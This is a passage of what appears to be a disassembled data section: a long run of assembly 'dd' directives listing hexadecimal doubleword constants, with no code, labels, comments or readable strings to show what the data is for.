0A0B1F0h, 84C8030Fh, 112936B7h, 7190E195h, 2C20EB14h dd 87976Ah, 8C6D17DAh, 6995F17Eh, 83EAB0C4h, 0D55C62EBh dd 0F4101A41h, 9E26ACF5h, 580F03B0h, 748301A4h, 44CA97DDh dd 182D0A34h, 408CA78h, 0B8C3DF45h, 3E698354h, 0E447E86Ah dd 0B2AC13E1h, 0F88204D7h, 5040EE88h, 8EF02439h, 94C49777h dd 0E10AF900h, 906DFA64h, 5C35FC52h, 0BE01F0FDh, 87B6B25Ah dd 471C20B7h, 61DBDC2Dh, 0CC08C530h, 2126080Bh, 477CFC7Ah dd 87DF8030h, 0A400DD72h, 48986AB9h, 730DB01Ah, 0B7470940h dd 0E49128FDh, 2D64396Eh, 43A47194h, 2FC0BD9Ah, 0F774F383h dd 420374Ah, 0B4B7D949h, 9528E0A0h, 1607259Bh, 7DE0E37Ah dd 9C9D619Ch, 17946594h, 48F224h, 0BC5ADF92h, 963EFC7h dd 20AAAC32h, 28F0107Fh, 2FB8B155h, 0E32DEC18h, 2FFB9F00h dd 2B38EE8Eh, 584704BFh, 80D0095Fh, 33976500h, 0B8434F00h dd 9DFE8982h, 8B382C11h, 84C50008h, 662075AAh, 0EC9E531Fh dd 0C49F6B40h, 1ED3308h, 1E52F2DFh, 0C96F2E4Dh, 5CB84030h dd 0FCB956C2h, 93325A80h, 5F3B38DEh, 0A85F04Bh, 4CC39E7h dd 91F48031h, 0EC210C8h, 6BE5ABE0h, 90A0D389h, 1AC3DA09h dd 9EAFCF00h, 0FEAB8373h, 0D2203CDDh, 1185EB18h, 91653208h dd 0CBCC129h, 0E01B0387h, 4CE1C30Eh, 51F7B00h, 51F4FF7Fh dd 3271D7h, 8ED0DD44h, 0A5DC1F8h, 0EA3ACFEEh, 48BF856Eh dd 98E92175h, 38F06680h, 0FF00447Ch, 37878165h, 24043CDCh dd 13FF7BDFh, 2C7C000Eh, 8F8D2D84h, 1707C0B0h, 0BFF19C78h dd 0D5311EC2h, 9AF2BCA1h, 8B783845h, 60404EBDh, 0B6CCA4B8h dd 33029976h, 112CC66Ah, 952CDE06h, 844D2049h, 142CC485h dd 7F9434h, 3197637Eh, 0DB6F928h, 60B4CD27h, 5B614260h dd 0D2002375h, 0D82F88F9h, 60256A09h, 799092EEh, 0D218001Ch dd 97BBB562h, 70759607h, 0AF902645h, 74AA4ABh, 39943D1Dh dd 0B0413B7Dh, 9AF411BCh, 0C76C987Eh, 3498C100h, 0A585A6Ah dd 0FA8E033Fh, 56BEA6EDh, 0AC28AEBDh, 6ECD016Dh, 44D754DFh dd 8448FE70h, 8400F7D9h, 23E60C65h, 0E0B3B7h, 0E56C43D6h dd 13CBC28h, 0B1C7C0C2h, 589C411Fh, 49839010h, 0B77BD800h dd 949A9637h, 0CDBE05BFh, 24221B18h, 6E8CD994h, 0FCEDF40Bh dd 1091E0C4h, 673C1FEBh, 4E7C80DEh, 454115ABh, 64489F14h dd 1831DC2Fh, 0C6C088A1h, 0D348919Fh, 804CBC7Bh, 5594B830h dd 0E7B21C3Ch, 4F0840B4h, 5E4A2D3Bh, 0E556DB1Fh, 68359485h dd 0C530B444h, 1A8CE852h, 74E82A48h, 0DCE18070h, 5B7D59A4h dd 70A3E500h, 0C465A6Bh, 61E9009Fh, 519DB84Bh, 9526FEh dd 0D0252AA8h, 0A23D4B56h dd 2C9210Ch, 4590F95Eh, 0BD9C1175h, 0C8701710h, 0BDF6800h dd 1A495435h, 2B132725h, 9045B0F0h, 0E40CC2Ah, 0E83D3A28h dd 274ECB5h, 84122EFEh, 1F6024E9h, 0EE003863h, 542996Fh dd 1732AF03h, 0C847204Dh, 0DB959CD4h, 4E880C8h, 389B277Ah dd 0CD645A09h, 0D420026Dh, 790537Ch, 7342FD3Bh, 35B894D9h dd 0EF00F47Bh, 0E42F9197h, 5A589271h, 0A78098C1h, 0A1ABEA1Eh dd 20D84580h, 0B614A8h, 0CD7B3C35h, 54DD1A2Dh, 18FC8548h dd 0E5F145B7h, 9C380203h, 0E73608CBh, 0B4A8147Eh, 5D4A3C02h dd 74169BC0h, 1954A6E0h, 623DD107h, 0CF4D00F8h, 0F7360CD8h dd 4B920004h, 0AB817916h, 46977456h, 941E088h, 0E2537E9Ch dd 0D1DD60E8h, 91662900h, 2F8BD0DCh, 0B6604EC3h, 28B300ECh dd 334847F8h, 4830E48Fh, 96818486h, 3E3AB1DBh, 17AB5C85h dd 0E50C2068h, 3C092718h, 76E6A9C1h, 57984048h, 1A702E05h dd 0F69DE203h, 0C887FCC4h, 219F47h, 5E86DB20h, 629EC123h dd 19134FECh, 5E10410Bh, 0ADD5129Ch, 1E24C1Eh, 0B2CED4BBh dd 7D8350B7h, 2C167E5Ch, 550258C2h, 0C1791B78h, 0EC87A6Ch dd 14EA7A47h, 18F2A031h, 496F800h, 7E7A17A2h, 0E0D6C500h dd 0F124C1Bh, 23EA013Ah, 3087B3C4h, 445030BBh, 5ECD274h dd 0FE835400h, 2CC82B2Dh, 0C794C7Dh, 9317940Eh, 4078C509h dd 25E87C53h, 8044D322h, 159C5E3Eh, 70008059h, 0A962829Bh dd 5E27386h, 0C3F86757h, 9432BA2Bh, 6C0723BEh, 2DDC90C8h dd 2A024700h, 0E888315Ch, 3C204DBCh, 0D4D0C725h, 3808655Bh dd 0D349853Dh, 5428EEC5h, 0B046B519h, 2FD8BA16h, 0E57FBE05h dd 20056040h, 236B8F0h, 8B833EEDh, 0AFD725FEh, 293191E4h dd 3FCC6240h, 48E5388Ch, 46204840h, 0C08C494Bh, 0F3FDE58Fh dd 0C85C983Ah, 23000671h, 0CCD7FAFh, 0C74F30h, 95C1AD09h dd 0E48EFD65h, 0D6B0DD67h, 41978680h, 7010F6EEh, 0A3375AAEh dd 2056B2E4h, 4E338E13h, 556C5E00h, 3BD0F6B1h, 400E2EB8h dd 0E89C0914h, 230BFC70h, 0FCE35020h, 0C1080880h, 113F5305h dd 0EBC7B8ADh, 3326C3EDh, 0C64D8DE8h, 0E444E52h, 7FC5769Dh dd 1334516Dh, 5BEC0A24h, 0D8C43DE0h, 3DEAA09h, 0CC045572h dd 0A0EC576Ah, 76ACD13Dh, 45E21390h, 0FF3B2634h, 1838C04Bh dd 5FD92068h, 875CC090h, 1054CA91h, 316E6C0h, 44EC60CCh dd 5F54A25Bh, 33300C8h, 10C3FED2h, 0A4D8B405h, 340391E6h dd 0A3C5B15Fh, 0C0F780E8h, 0BEA10954h, 1844A562h, 26445101h dd 28CE052h, 2E1C56D0h, 3486EC37h, 8048F8C8h, 9ABA99B7h dd 8B8F14EAh, 6E000CE6h, 0C9EDA74h, 9A5B55BBh, 40B6A420h dd 3383BC3h, 8DA75A00h, 577BB797h, 76D95400h, 85508F66h dd 131C00DBh, 1F03CB09h, 0E5716A21h, 5B40B002h, 7FBFDA0Dh dd 2C6620B2h, 0A3615E00h, 5D60F4DAh, 83C2046Ch, 8D1C4385h dd 0EE3B20ECh, 0D761DF00h, 0B5FCD2C7h, 0DDDE0001h, 0FF7EE607h dd 0F008746h, 0E4D70273h, 98C98AABh, 2CF60454h, 0C488960Eh dd 8038FC7Ch, 41F27E5Ch, 162009B6h, 0C42BD31h, 0A24084DCh dd 256DDB27h, 34890C77h, 561AFC10h, 1C22465Fh, 0C7E833A1h dd 15174097h, 0C08941C5h, 2EC9D078h, 4189675h, 2B87E59Bh dd 0E088ABC0h, 21FD1F0Bh, 5C66004Fh, 96C3E4B1h, 0E12EC900h dd 4AEEAC48h, 6A7331h, 0B05B163Ah, 0B898259h, 0B5F9740Fh dd 28ACE320h, 56AEA82Eh, 4BE0B63Ch, 0B6423C42h, 93F700E2h dd 0ACFA8F4h, 8B44005Ch, 14D1AD12h, 5D059CB7h, 0F0931584h dd 97657800h, 0A194DCh, 0AD039EB7h, 0F4642C43h, 45CB9B17h dd 0BA807CA9h, 0FFA0E85Dh, 5C947325h, 6B3C4038h, 0F1767633h dd 0F803A370h, 4EA6D858h, 5049E8DFh, 0BA1300C0h, 96DDFA02h dd 0B1FF71Ah, 9597C588h, 0D7CABC00h, 0C9AD3Fh, 0C6C72F97h dd 0AF28B48Bh, 0ABE0BE00h, 0CD766906h, 4824920h, 3F714C83h dd 0A11578F8h, 75CE5B7h, 43B86D79h, 53E93D62h, 4A67E8D3h dd 4DCA0D1Ch, 0F302614Fh, 432C90F2h, 0C2441A8h, 0C0007CE6h dd 985BECCh, 0BAF10175h, 0BC03BF5h, 0D7CE70E6h, 9513537Eh dd 70B9B7AAh, 0CB0B9180h, 0C902736h, 18C8EF12h, 8420F8A0h dd 9144ACB4h, 61F48CAAh, 1CE54A13h, 36400Eh, 37D3AD98h dd 19290418h, 0D2B75493h, 0B064DB50h, 0C1A4B100h, 918E0E2Dh dd 8C71007Ah, 0ABD236C9h, 1F052A58h, 0D388496h, 1288EC07h dd 18D2ED84h, 0F0105DE6h, 4E002AB5h, 3B7A40EBh, 380669Ch dd 422863FBh, 59847EEh, 9B4AF304h, 2302688Ah, 909D6199h dd 0A21D2C44h, 0A4A4A7EEh, 0F345D709h, 2C14077Ch, 20C9E0E6h dd 0C00012C2h, 738B600Ch, 163581C5h, 23BC2F16h, 0ABF1B50Ch dd 8033C1h, 260CE8F0h, 38EAA414h, 81FC874Ch, 884DEC8Ah dd 9E664A1Eh, 0F1197B80h, 0FA840906h, 0C1322C3Fh, 67936074h dd 827CABD6h, 0F7778B0Eh, 4FB7E05Ch, 0D165A5Eh, 0E0678C20h dd 84A02F08h, 0B8EC0163h, 502C28EBh, 0DAA4F4A1h, 3303AA07h dd 0F430CBF5h, 48645E2h, 0DC2DB9BAh, 0FCC2AEBFh, 529F1091h dd 2E984C05h, 0BD819A37h, 1C735B48h, 0CC67D600h, 288D2FA4h dd 59A01525h, 0B34610C0h, 6BBEE0B2h, 0D8DF000Eh, 0B612CE9Ch dd 0DC0B3A8Fh, 5CC54D33h, 0E0E3E064h, 8E2C0514h, 15003F39h dd 894934E9h, 0F84600BDh, 6823D980h, 0E037A10h, 2F9CC5Ah dd 816BB004h, 0B9DC00FEh, 5216F3FAh, 7A0CF059h, 50089FB7h dd 968D30EDh, 72D10408h, 7B3E1700h, 15360C25h, 14E3505Ah dd 0B5B61E83h, 0DE7A0664h, 3F000856h, 9D98C161h, 1D8DECF6h dd 32495FA8h, 8209359h, 1CADA96Bh, 400D885Dh, 560EB3Ah dd 0F500B730h, 711B9F21h, 0B5BFC5h, 0DADC25Eh, 0B727983Fh dd 99E93700h, 26D4DADDh, 20E207B3h, 8589A1h, 0F773FB1Ah dd 0EBB0BD0Fh, 807C0EEFh, 6BD98E04h, 0D6F80092h, 0AD77615Ah dd 2E01ECFBh, 0DF57DCDAh, 289FE54Eh, 29038039h, 0CB0E44D6h dd 6F37DCE8h, 5B92B997h, 311DC085h, 0F031CFDFh, 0D74EAA83h dd 0A17A111Fh, 0D844E8C0h, 9670B02h, 0DD2A4B84h, 483A6B06h dd 99B0B537h, 0CBEC86B3h, 5EDEB0FBh, 9A52AE8h, 7B6D79B0h dd 25C70ADFh, 0BEF85FA9h, 70C0990Ch, 0D6614E81h, 0A31E3079h dd 753CF8h, 2D37F30Eh, 0F01C4217h, 0EC351819h, 6E10E331h dd 0EF03ACD6h, 0C236264Fh, 0A615A079h, 1E530F3Fh, 30809C32h dd 86AB5EDAh, 0F50CA03h, 0D662A92Dh, 0B6241889h, 5AA8C9ADh dd 98F7A100h, 51346093h, 0BAED069Fh, 316BDCDBh, 102D0406h dd 3911F0F7h, 1C0E5BBFh, 8DC16F68h, 0F01A7934h, 0E20E7AD9h dd 0C099C860h, 0E153C4A5h, 1F2601CFh, 9B4A7F3Dh, 8AC04C2Dh dd 8D032C91h, 0E051CAEEh, 0F1C4F70Eh, 69CCA980h, 693BF7Dh dd 1F256D02h, 45353FB6h, 0C6CE1068h, 19EEF6h, 3E9CBB2Bh dd 8BCB0198h, 0C332B007h, 0DA012F73h, 2980F3F6h, 0A81C80C0h dd 2B0065C4h, 46683ACh, 0E2694FB0h, 2E54F4AFh, 0F058D4h dd 0C0FF6CBAh, 0B6362A8h, 9B8D41h, 5D1E1BC9h, 65AAD93Dh dd 2D005E78h, 0E3F93128h, 1405C160h, 0BCECEEA1h, 20505F3Dh dd 0DF3A4069h, 22FA3200h, 304C88C9h, 0C8B700C1h, 0AA5E06FCh dd 69E225A9h, 1B1CBE0Bh, 0B02702A0h, 426440E7h, 16360E0Eh dd 30E163F7h, 0D0091532h, 42F55EA9h, 0FB206734h, 2C1AD5B5h dd 3A821C0Dh, 0F8B12100h, 27E0504Ah, 8B599400h, 296FC7D9h dd 492F0744h, 5062876Bh dd 0AFC96315h, 2E65A91Fh, 754F6F03h, 0F167E005h, 143EEDAh dd 5C1E73B1h, 800C8526h, 28AB9E08h, 1FB99A2Bh, 801043A4h dd 12E24C5h, 1D00871Ch, 0E3D407D3h, 29855A0h, 917FDF37h dd 1B4162E8h, 3A2BD8BFh, 90E31700h, 0AB5897A7h, 186A60B6h dd 5740F218h, 0BF96D000h, 1F9E3025h, 35A6005Ch, 377FE4E2h dd 0AE007310h, 0B1BABECBh, 0DDB494h, 0BD6D620Eh, 0C10F3E53h dd 5E39CC6Eh, 2366C1F0h, 0F1315C41h, 0E2A7050Eh, 1FC50440h dd 8200ADD1h, 7DC7B4C0h, 6116403Dh, 0E58B4127h, 9A94C4C5h dd 86B6BD00h, 0B1BB25E4h, 0BD5E5A7h, 102818F7h, 0CFF8696Fh dd 5EEFFC12h, 3736A405h, 18F645C0h, 3AB0E47Fh, 1F8725D1h dd 0DAD80F67h, 6B1154h, 0A042D72Dh, 47C86Dh, 0FD9D658Eh dd 0DE33E589h, 29627930h, 7592BE3h, 0B0727ABDh, 25863EBFh dd 3B005135h, 944D84F3h, 1C4727h, 0AE867914h, 43BE4804h dd 0EC75BB29h, 693D0211h, 927B1A80h, 47E4487Ch, 0E875010Bh dd 0DE900021h, 1D409F33h, 436BD83Dh, 9EBD9B28h, 3E40BC8Fh dd 38159DBh, 35BDB110h, 610F101Dh, 8687B740h, 3105A29h dd 0CED411Fh, 66B3D323h, 0FC899100h, 0B9F03174h, 3DFB1F2Eh dd 0E43506A8h, 36304901h, 0B0324141h, 2C2207E1h, 40C327D1h dd 53C76801h, 3496C06h, 44703E25h, 0BE00EA46h, 73ECAD9Ah dd 707B0F1Dh, 63D9488Ch, 53B13801h, 8011214Ch, 488B9638h dd 0D8931DAh, 12A1B839h, 3B19C481h, 4ABDE9C5h, 1C35C003h dd 0BF210809h, 1BCBC43h, 0B3C7B196h, 59800885h, 2CFD5DD7h dd 2D0F60A4h, 0A34E2775h, 0C5E1C9Dh, 0FF6D9E08h, 8E28621h dd 397C59C0h, 80EFD6h, 7D8A5443h, 0B8BDB09Dh, 0B3A7BA00h dd 3387CBBBh, 0F15860DBh, 643667DDh, 9D89970Fh, 8A81EC6h dd 47293B18h, 1799529h, 124D22D6h, 20AA23FFh, 0AB88140Ch dd 0DC40330h, 0E9BFDBDEh, 0C603851h, 4F0FB9E4h, 838718D6h dd 3D53D42Ch, 0D3B129F8h, 0C4A7BC20h, 0AF0C63A5h, 394C363Ah dd 0E5CB0075h, 277EDAD0h, 0DD0BEB11h, 8052E45Ch, 8EB7440Fh dd 0BCBE063Dh, 9106E535h, 41483630h, 31BD479h, 0E694748Bh dd 4AC84112h, 90020FECh, 10234913h, 7CEC405Dh, 0C18B093Dh dd 848E641Fh, 38207289h, 1D1806ADh, 11DCF4F7h, 9B75DD01h dd 0E36B438Ah, 0CB10EF4h, 0D82C827Bh, 5D001F81h, 0DD609F70h dd 0E43442EAh, 0B9513C45h, 0D801703h, 18DDEBF3h, 72E63180h dd 38CD0100h, 1D0FAB70h, 0EE7618h, 0E0BF6C99h, 8996C6AEh dd 77AAC100h, 0E3354421h, 4778A10Fh, 0F5D87010h, 0EA0038E8h dd 2BAA6E4Ch, 1282661Dh, 0C4A228Ah, 6FD9D6C0h, 394B9333h dd 96E93BCh, 86F51619h, 4685AE80h, 47005587h, 0A2D4B92Eh dd 983D3937h, 62AE1CA8h, 0E135864Ah, 0BF16898Fh, 4308AEBh dd 6EA606h, 0DD23FED1h, 0C73B4FD5h, 771ABF00h, 60912E87h dd 49FF00DAh, 62EBFD48h, 0A20AB978h, 0C7CDD12h, 4145D028h dd 0B00CCCh, 7F51127Bh, 67ED444Eh, 2F92158h, 0F6BDBC99h dd 0E24C44D6h, 43E3001Ah, 0A027466Eh, 8A12291h, 0DDBEDC8Eh dd 32A10402h, 6485849Fh, 6B412E20h, 728039CCh, 3AEEBE2Eh dd 0E005998h, 94D7D093h, 24E1B1BDh, 27475A5h, 61552619h dd 0EF35A081h, 0C498B17h, 2E1410C1h, 0C5400F2Dh, 0B661E578h dd 20B9A8BFh, 0D000DF5Ch, 4E3D9FEAh, 42CAC7h, 953B1893h dd 68100561h, 8F1CCA8h, 37EFBD00h, 1260DF20h, 0A15F013Bh dd 5329554Fh, 82285h, 0D7634919h, 0C1B3A3h, 5E569FCDh dd 3043CCBAh, 25403E0Ch, 132993Ch, 727E9150h, 2090B13Fh dd 0D262920Ch, 0C4B443B9h, 0E33E0328h, 6D5A980Ah, 34A3BAE1h dd 91FC9560h, 3738D464h, 1470BA21h, 0D08AAC30h, 0CF030317h dd 0A935D573h, 4951EBF0h, 83DD0507h, 6F2790D6h, 88A13C36h dd 3DD15E54h, 5A130A8Eh, 0E3A00859h, 5D8A6F84h, 0DF551093h dd 65DE0F61h, 0DF86C850h, 92A012C6h, 74F40023h, 35B65A3Dh dd 44B0E026h, 0DD0F9F03h, 0FC6953CFh, 12DFC000h, 6479371Dh dd 0F2831800h, 10C90D90h, 2FA70541h, 0C18ABDDFh, 1038D828h dd 14B4DDB0h, 0A8C26713h, 61198520h, 3DA19F25h, 572F9502h dd 3AEC0C20h, 39F90080h, 50C7D527h, 0C6000DCAh, 0E2E7C84Dh dd 61DA0F14h, 205C483Eh, 3459F585h, 0B8884900h, 0A69D00D7h dd 0E4526704h, 4B1DCF64h, 76C0E8DDh, 0C2F0C339h, 0F6BC3F55h dd 6EB5D381h, 2029FA05h, 12004440h, 4620275Eh, 358A0A7h dd 911122AEh, 1BD98C02h, 0CAE0F2A3h, 3A7C0695h, 40181CFEh dd 0B018ABD0h, 32580CBCh, 88F82E69h, 0C830704Ch, 0C8328061h dd 2903CFACh, 5E214060h, 5641DEh, 6C051AA1h, 0B1E64A2Bh dd 0A0289528h, 0BA83459h, 109DB943h, 5006979Ch, 616D90F0h dd 0B2430877h, 6F698967h, 0F70C1894h, 441149D6h, 8F1D1E00h dd 0B828883Eh, 38BCAE05h, 0D8C75A01h, 2F0298C4h, 6440C9E1h dd 958012F4h, 63E9168Dh, 86100E68h, 0F7048B00h, 5503E76Fh dd 0D9B63D8Fh, 0C5702637h, 0A8900FCh, 43BC8DB0h, 4C6AB328h dd 0F85A9522h, 4B9BFh, 0DA58912Ch, 0A6004265h, 16403F95h dd 0BA83230h, 0B8B7DFA3h, 0E831108Dh, 9D28E8BEh, 8F5CBDDBh dd 3C240009h, 8D108767h, 0CED41F6Bh, 0BF91C039h, 9E2C7BDCh dd 7E002978h, 8FA6B62Fh, 4C2EC444h, 6D00713Bh, 28AD83DFh dd 0E201B148h, 4C1A99ABh, 5C4178BBh, 2511748Ch, 0E91710CAh dd 0CD660EFFh, 0D340A921h, 4A5DC0CEh, 3338A02h, 0E06D2A7Bh dd 2CBA4E34h, 7A5F30Ah, 0C330FCD5h, 0D1C12F65h, 4011ACD4h dd 70C81420h, 0B0438A5Bh, 0F9140FCh, 81D33DC1h, 0BF118408h dd 2012DE13h, 780AE558h, 727A2D0Bh, 19EC0CB5h, 0D14000Bh dd 807ED828h, 0C2008CFFh, 0F8715DDh, 11D38F2h, 1AD4CC2Fh dd 0E075650Eh, 11C5C3D7h, 14097DDDh, 5AF49085h, 1D37078Fh dd 0C63BBEABh, 48001915h, 2B9C290Bh, 634D2D6Eh, 0E85081Ch dd 0C6672100h, 18A308FBh, 5B3F120Ah, 80E21EDEh, 23706248h dd 0EB0C86F9h, 0F13225CFh, 9A720001h, 91584742h, 0C60014F6h dd 0D5F7BDE3h, 7CED4066h, 632D0005h, 0A788CA32h, 0FB2E9BDDh dd 550A5E3Ah, 0B500A47Dh, 1CD01E86h, 0AFD8B187h, 600645Eh dd 0E86220EAh, 59BD0002h, 875D3F32h, 0C9488D3Dh, 1C358380h dd 0C391F79h, 2BA177DCh, 0CA9A5810h, 94E16B00h, 0AFA7C1ABh dd 0A28D00ADh, 0BBC7D6B1h, 68906CB9h, 145D88A1h, 0FDE4D80h dd 71A24BD9h, 600B7AD0h, 0CF00C8EFh, 0F8C3A5ECh, 2ADFD74h dd 5F2B095Eh, 448325BEh, 70CF1D83h, 0E66019C6h, 0FE57A100h dd 0A35D564Dh, 17051E7Dh, 0A098818Bh, 41DCB595h, 61869BE8h dd 1FD98440h, 0EC8033EAh, 0EF45E0Eh, 97B1BCC2h, 6D6C5341h dd 96C1900Bh, 0E1B45480h, 125CFC3Bh, 775C160Ch, 39C51004h dd 0CEEB9C40h, 4891A743h, 828F1829h, 0F570597h, 31E5E801h dd 0E82C67DEh, 6A102988h, 0A2A6BCC0h, 1E05C663h, 100D1F3Dh dd 2B699820h, 2A461FB1h, 0A3BF47C9h, 718EB799h, 0E8E73790h dd 360B1C95h, 385D4EE1h, 1364B924h, 8739AAh, 591E4D24h dd 50075638h, 0AFA66554h, 0C023F5B0h, 0A85D7FBBh, 885A8B84h dd 3D4B86BCh, 0DEE1E800h, 0A1F4BB43h, 18100E78h, 96000AF9h dd 21669354h, 0EE48ECAAh, 6E0B0164h, 8FD9D4C9h, 0F2382040h dd 9287D98h, 2502C867h, 2639B4C3h, 16ACA03Fh, 0FCF6674h dd 566C7C81h, 0B101D1A4h dd 0BC952044h, 0CBC11D00h, 0BD61187Dh, 95E9032Eh, 178A4637h dd 266FA022h, 423C293Eh, 0A7C0A583h, 0EB0303F6h, 0E135BDD7h dd 0BFC10C60h, 7981CB24h, 0E807FAE0h, 34E4C2B3h, 92F4AAD0h dd 2177CEEh, 90F80D4Bh, 88E680E2h, 7CD3331Eh, 0F7A4AD87h dd 78056830h, 0B7EF67Bh, 0BD9F9DFCh, 0A51201F5h, 0A0A12C3Ah dd 0E23509FCh, 0E077444h, 71C91328h, 391CD7C7h, 0A1160BBEh dd 848E9A8Ah, 0E5039100h, 0F4A4290Dh, 25432D00h, 0BD3FD870h dd 42B400D6h, 0E596C580h, 0AB0585B2h, 0BE2EFFA9h, 0CF55E432h dd 98B90008h, 57A46BD9h, 2D3EED00h, 38E91021h, 0C68601A1h dd 25D6625Bh, 1031A516h, 609D3Ch, 352309C4h, 9CCA88C0h dd 8B93200h, 963BA7E0h, 54D94B89h, 0DF0BD480h, 0D890101Bh dd 8F03D4B7h, 81499DD6h, 0CE6E8888h, 40020360h, 0AB155953h dd 4C3DF2F9h, 8800A080h, 7DEA5D77h, 0E0E68BF9h, 796A00AEh dd 72E03FAh, 8904E4DBh, 15BEBF8Ch, 62619CE4h, 62BDC13Ah dd 824C84Bh, 206EC055h, 0E424BED8h, 6808006Bh, 0F42D7CDCh dd 7D02C5E7h, 66B665DFh, 9C18E686h, 10FF4744h, 0C3FE5BDFh dd 0B3810709h, 0A958022Fh, 4404096Dh, 857702A6h, 0BB044816h dd 3AF50064h, 35C3A872h, 51C04229h, 0A521A18Ch, 0D261001Eh dd 0DBD3D523h, 324D07A9h, 183322B8h, 51718522h, 2750D80Ch dd 5212E50Ch, 6030C278h, 0F319DDh, 0BA6DA19Ah, 0C54BA2B0h dd 1C184700h, 0BD93D559h, 27CB91Fh, 0BA333167h, 982C28E0h dd 80DC702h, 0C1BEA39Ah, 298060F0h, 8624311Dh, 29264A53h dd 0DA08A098h, 0E9358B3Dh, 561BF810h, 78C0B278h, 0A5256717h dd 943749DDh, 873C841h, 12B43E03h, 0BEB2D187h, 24D7ACC0h dd 0F89C3644h, 9754000Ch, 0E5815927h, 0CC00BE5Dh, 0EAEE8D11h dd 5CB1345Fh, 8EA030DDh, 54B9946Fh, 9580A790h, 5A658B41h dd 0BC1918A0h, 13DD2704h, 0C4B18F5Dh, 0E17C6C00h, 7A9D00DBh dd 9855B895h, 0E9C00385h, 0CD1BFD44h, 3F473F91h, 2EEF5B8Eh dd 0E43524A0h, 3D717F1Dh, 0C4EE9F18h, 3ADD89h, 13586A42h dd 648AB80Fh, 21124A00h, 0B3204596h, 301D0186h, 0B4D793AEh dd 47E0824h, 0F66AFDC6h, 0B5488CF5h, 0D769E600h, 0D7386D6h dd 3D8F0024h, 9D6BC989h, 1F304436h, 2870E969h, 0C6E500F3h dd 6DFF35E8h, 7800D0F6h, 3F12445Bh, 479767h, 0D9341DFCh dd 0DD9C68FFh, 1F967C00h, 6F492C56h, 78B11DA4h, 4F3CC011h dd 38C4C7B6h, 975C260Ch, 0E0A486Ah, 0DFD5D34Ah, 845872C0h dd 1E509134h, 0E048350Ch, 0BABF818Ch, 0F4C4A3A7h, 143D5C22h dd 43783122h, 3B614800h, 2CD07ACFh, 13BE000Fh, 90AD4287h dd 4A7D3D64h, 0B105E974h, 73D54BC5h, 199A7880h, 41B4A1C0h dd 4C1D07F0h, 0DF8B10D1h, 4097DC00h, 84B43ADAh, 0ECFC6940h dd 0C45778BEh, 81B178B8h, 0D07ADF54h, 29C04529h, 0F528E973h dd 928F049Ch, 0B2BE4353h, 908A2120h, 71D8C0B0h, 12FEE0h dd 604070DDh, 0C097DFF8h, 590118F0h, 1DC76B57h, 9430A6D0h dd 765D03B2h, 0D4046934h, 9B48A590h, 3B80D0B1h, 0CEA7C96Fh dd 72AFCEFh, 8F63377Ch, 284BB090h, 0A9F3C40Fh, 5487F481h dd 0E20E7D9h, 18BBC6h, 0D4AA0B56h, 0DA15955Bh, 431AB4B8h dd 983121B8h, 78BE674h, 0AECDB3A8h, 89DFB007h, 400132EEh dd 0E093BC83h, 4888D292h, 0B98827E9h, 0B197BD7Dh, 60808655h dd 0A038715Ch, 3BEC33h, 59F254C5h, 0D4621DCBh, 0B6EF5300h dd 25B15BAAh, 7AD1C3C8h, 0FEF37DC4h, 8CD322C8h, 0B6A44F00h dd 0B7C9325Bh, 956F2D76h, 0D09054ABh, 9A00B2FEh, 9007EE82h dd 18F06B1h, 423B0434h, 0D08EB361h, 0DA0E78D1h, 9B411F60h dd 78CC086h, 89682686h, 0B5E700CCh, 0DAB0697Ch, 5891BBFEh dd 569FAE80h, 3DDA79Bh, 7EC033B3h, 280198D7h, 7D068F9Dh dd 1080A0D1h, 42AADD15h, 9704B812h, 0F3537886h, 8931D06h dd 0D98B5A00h, 60646C99h, 6638C161h, 0FADDBDh, 12488886h dd 24A74C19h, 48C897F0h, 331D9C81h, 203CE4F3h, 0EF243A00h dd 82A8A7A1h, 6EF5BE00h, 0CED1A91h, 0BB4F4084h, 1BAFB400h dd 42CB2B44h, 10098BCh, 115092FAh, 73B32EE5h, 15D0000Ch dd 0FE0ACC56h, 0CB690090h, 4038B06Dh, 68043B44h, 0F3B68DE9h dd 0A20884h, 9A31Eh, 0E990B1Bh, 400379D3h, 433F5065h, 0DA83E05Fh dd 103E281Fh, 0CF820034h, 3DDE9D4Ah, 73022F54h, 2A6983D5h dd 0F0624220h, 18B95060h, 2C24F585h, 0CEDD00CBh, 0C80CC5F2h dd 1612055Eh, 3C208654h, 252BF7Fh, 2429F775h, 8C8195E7h dd 70A065F0h, 0B4054701h, 20913D85h, 16BF1CF4h, 2717727Ah dd 889340C0h, 8522815Fh, 0C5E5000Ah, 0EE8A9CD3h, 4A74937Eh dd 5A617700h, 5EE23625h, 9154945Dh, 80753A33h, 0AA60E72Bh dd 4E1385h, 9CDDEEADh, 65B3D1EBh, 8E8B7301h, 245A3DFAh dd 48424891h, 9D5048F4h, 7CA500F9h, 91195843h, 926F1635h dd 0A9C48894h, 1D80F16h, 5A228840h, 24BA4C2Bh, 0E0CC1076h dd 0C5963D3Ah, 0E138F600h, 0C32E1166h, 887D042Dh, 84B10387h dd 1AACCCE8h, 0E1361817h, 8E270420h, 0A8D8078Ch, 3054CF91h dd 7959922Ah, 8DBF9601h, 0E4175DBCh, 5F35B5E0h, 369849E1h dd 0A4B2A490h, 0C97DF600h, 525DD1F7h, 0CD98007Ch, 0E02C0C2Ah dd 0A4002551h, 1EAD2E9Eh, 0D647D0h, 13DCB8B1h, 80277E07h dd 48440898h, 4BB44E43h, 0FCE88584h, 0F0074EBh, 0FBF848E8h dd 98DCC676h, 20C0B083h, 20099FB0h, 592AE3h, 2EB77219h dd 8F40249Ah, 0EA5B0033h, 30273BAAh, 4F8BB800h, 89EBF018h dd 9D820436h, 8C86B6C0h, 0CD00F110h, 0EED973B2h, 0A5D582h dd 91F56E42h, 4AAB4E3Ch, 2C87BD00h, 58E71347h, 2D05ADAh dd 0AFA78320h, 6C353760h, 24239101h, 0B02F1F94h, 0F5DBFD0h dd 0B6786328h, 5CC68522h, 9D01104Eh, 59B98393h, 0ABE06809h dd 0D92D0727h, 0A296FE25h, 3060F26Dh, 1D1881B5h, 0BC192623h dd 0D3EA0064h, 0B19A9CDBh, 9B4821DFh, 283E2224h, 2F70E935h dd 102BC60Ch, 0BEB88508h, 22A4937Dh, 8050B1A4h, 307CCA17h dd 70079768h, 31064E0Ah, 0DF0F7321h, 9472B432h, 0DA508048h dd 0EE463E14h, 89DF8E7Bh, 0D0281D00h, 0A3AA89A3h, 0D776C788h dd 0C05F0311h, 9C8FBE34h, 0EECD2801h, 87B54135h, 0A8242Bh dd 58DD3DE4h, 663F789Fh, 969B00D9h, 6BF69401h, 479000CCh dd 6E8C417Ah, 24007BB7h, 0BD8E6189h, 3C654CC9h, 